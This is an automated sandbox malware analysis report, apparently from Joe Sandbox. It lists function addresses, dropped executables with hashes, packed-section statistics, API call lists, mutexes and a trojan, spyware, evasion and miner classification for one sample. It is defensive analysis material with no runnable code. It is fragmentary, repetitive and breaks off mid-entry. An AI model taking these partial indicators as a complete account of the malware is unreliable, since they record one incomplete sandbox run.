Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E51780	18_2_00007FF8B7E51780
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E61780	18_2_00007FF8B7E61780
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E63F5C	18_2_00007FF8B7E63F5C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E73F30	18_2_00007FF8B7E73F30
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E63720	18_2_00007FF8B7E63720
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E76ED8	18_2_00007FF8B7E76ED8
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E55EC0	18_2_00007FF8B7E55EC0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E54640	18_2_00007FF8B7E54640
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6EDD8	18_2_00007FF8B7E6EDD8
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E515A0	18_2_00007FF8B7E515A0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6157C	18_2_00007FF8B7E6157C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E7850C	18_2_00007FF8B7E7850C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E72CB8	18_2_00007FF8B7E72CB8
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E75C60	18_2_00007FF8B7E75C60
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E68450	18_2_00007FF8B7E68450
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E62C0C	18_2_00007FF8B7E62C0C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E513C0	18_2_00007FF8B7E513C0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E61B90	18_2_00007FF8B7E61B90
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E61370	18_2_00007FF8B7E61370
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E63B58	18_2_00007FF8B7E63B58
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6F26C	18_2_00007FF8B7E6F26C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E70A28	18_2_00007FF8B7E70A28
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E511E0	18_2_00007FF8B7E511E0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6198C	18_2_00007FF8B7E6198C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E69190	18_2_00007FF8B7E69190
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6116C	18_2_00007FF8B7E6116C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E6895C	18_2_00007FF8B7E6895C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00007FF8B7E51960	18_2_00007FF8B7E51960
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018000C090	18_2_000000018000C090
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180004920	18_2_0000000180004920
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018000AAC0	18_2_000000018000AAC0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180001000	18_2_0000000180001000
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180019004	18_2_0000000180019004
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180022830	18_2_0000000180022830
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180020894	18_2_0000000180020894
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800288EC	18_2_00000001800288EC
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017974	18_2_0000000180017974
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018001F1B0	18_2_000000018001F1B0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800311C4	18_2_00000001800311C4
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800011E0	18_2_00000001800011E0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018001EABC	18_2_000000018001EABC
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180029AC0	18_2_0000000180029AC0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800262D4	18_2_00000001800262D4
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180019B18	18_2_0000000180019B18
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018001A354	18_2_000000018001A354
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017B78	18_2_0000000180017B78
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800013C0	18_2_00000001800013C0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180025C54	18_2_0000000180025C54
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180018C6C	18_2_0000000180018C6C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180030C78	18_2_0000000180030C78
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002CC7C	18_2_000000018002CC7C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002F4B0	18_2_000000018002F4B0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180006D10	18_2_0000000180006D10
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002AD4C	18_2_000000018002AD4C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180002D60	18_2_0000000180002D60
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017564	18_2_0000000180017564
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017D84	18_2_0000000180017D84
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800015A0	18_2_00000001800015A0
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018001DE14	18_2_000000018001DE14
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_000000018002DE7C	18_2_000000018002DE7C
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180019F50	18_2_0000000180019F50
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017768	18_2_0000000180017768
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_0000000180017F88	18_2_0000000180017F88
Source: C:\Windows\System32\svchost.exe	Code function: 18_2_00000001800257C0	18_2_00000001800257C0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\Loader_seyhhd[1].exe CBB2935E499F3C88E862BDD46F5710774B232AA9BA85CC30006236A6F4503DB2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: C:\Windows\System32\svchost.exe	Code function: String function: 00000001800029F0 appears 48 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FF8B7E52180 appears 60 times

Source: file.exe, 00000000.00000003.2258385270.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237032468.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227811887.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232170530.0000000005EF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226784479.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231236977.0000000005EE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225133181.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225456744.0000000005EAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237210861.0000000005F30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237936091.000000000605F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258439301.000000000595C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222022023.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236891583.0000000005F30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220413154.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231412671.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230565475.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237381401.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222431959.0000000005E98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235378476.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238932519.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222716175.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222564122.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236317309.0000000006040000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230213905.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228631825.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222325957.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254350590.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229649619.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227637074.0000000005EC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220265373.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224730810.0000000005EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223932585.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220053788.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239360969.0000000005F3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228105287.0000000005F9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2237786917.0000000005F2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231777063.0000000005FEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229292801.0000000005FBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223253106.0000000005EA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229043722.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231602135.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226931588.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234581738.0000000005EF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236603044.0000000005F25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224104725.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226116180.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228318228.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227948254.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232899023.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238628130.0000000005F22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224286812.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221903322.0000000005E8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228428980.0000000005FA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228211489.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235903391.000000000602C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235221304.0000000005F0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2228536956.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226630002.0000000005F7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238223189.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224374434.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230876638.0000000005EEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227293065.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236172775.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2230344963.0000000005EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238783561.0000000006057000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235643627.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231048185.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232337045.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232563846.0000000005EF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233701785.0000000005FFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2233230603.0000000005EF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235032771.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222110590.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226223650.0000000005DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2227124235.0000000005F76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229530731.0000000005EDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2231973171.0000000005DFB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224945073.0000000005F6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238479140.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225823617.0000000005DFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234003121.0000000005DF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234837289.0000000006003000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235511851.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223790083.0000000005EA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229412348.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236751970.0000000005DFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235776571.0000000005F07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226010016.0000000005DF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222841299.0000000005F3F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223129090.0000000005E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223363531.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236457816.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229766272.0000000005ED8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238343596.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229884960.0000000005FC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258614357.0000000005955000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2224470422.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2222233489.0000000005E9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2236038612.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226328271.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225921492.0000000005EB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2229159540.0000000005ED8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2225552750.0000000005F68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220778282.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221035657.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.998046875
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982437840599455
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: Section: ifrehnre ZLIB complexity 0.9942653310070944
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9982437840599455
Source: skotes.exe.4.dr	Static PE information: Section: ifrehnre ZLIB complexity 0.9942653310070944
Source: random[1].exe.7.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: b6ea789a1a.exe.7.dr	Static PE information: Section: ZLIB complexity 0.998046875
Source: random[1].exe0.7.dr	Static PE information: Section: dehzcbgt ZLIB complexity 0.9949847572485654
Source: fc0b992f89.exe.7.dr	Static PE information: Section: dehzcbgt ZLIB complexity 0.9949847572485654

Source: random[1].exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: fc0b992f89.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: b6ea789a1a.exe.7.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@63/36@23/11

Source: C:\Windows\System32\svchost.exe

Code function: 18_2_000000018000AAC0 InitializeCriticalSection,CreateThread,CreateThread,GlobalMemoryStatusEx,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetSystemPowerStatus,GetSystemPowerStatus,GetPwrCapabilities,EnterCriticalSection,LeaveCriticalSection,Sleep,Sleep,SleepEx,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,GlobalMemoryStatusEx,EnterCriticalSection,LeaveCriticalSection,GlobalMemoryStatusEx,EnterCriticalSection,LeaveCriticalSection,SleepEx,

18_2_000000018000AAC0

Source: C:\Windows\System32\svchost.exe

Code function: 18_2_0000000180004920 OpenSCManagerW,OpenServiceW,CloseServiceHandle,QueryServiceStatusEx,StartServiceW,QueryServiceStatusEx,GetTickCount,Sleep,QueryServiceStatusEx,GetTickCount,GetTickCount,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

18_2_0000000180004920

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RYM16770HTK1NZSZ1PW5P28.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7136:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6064:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1628:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

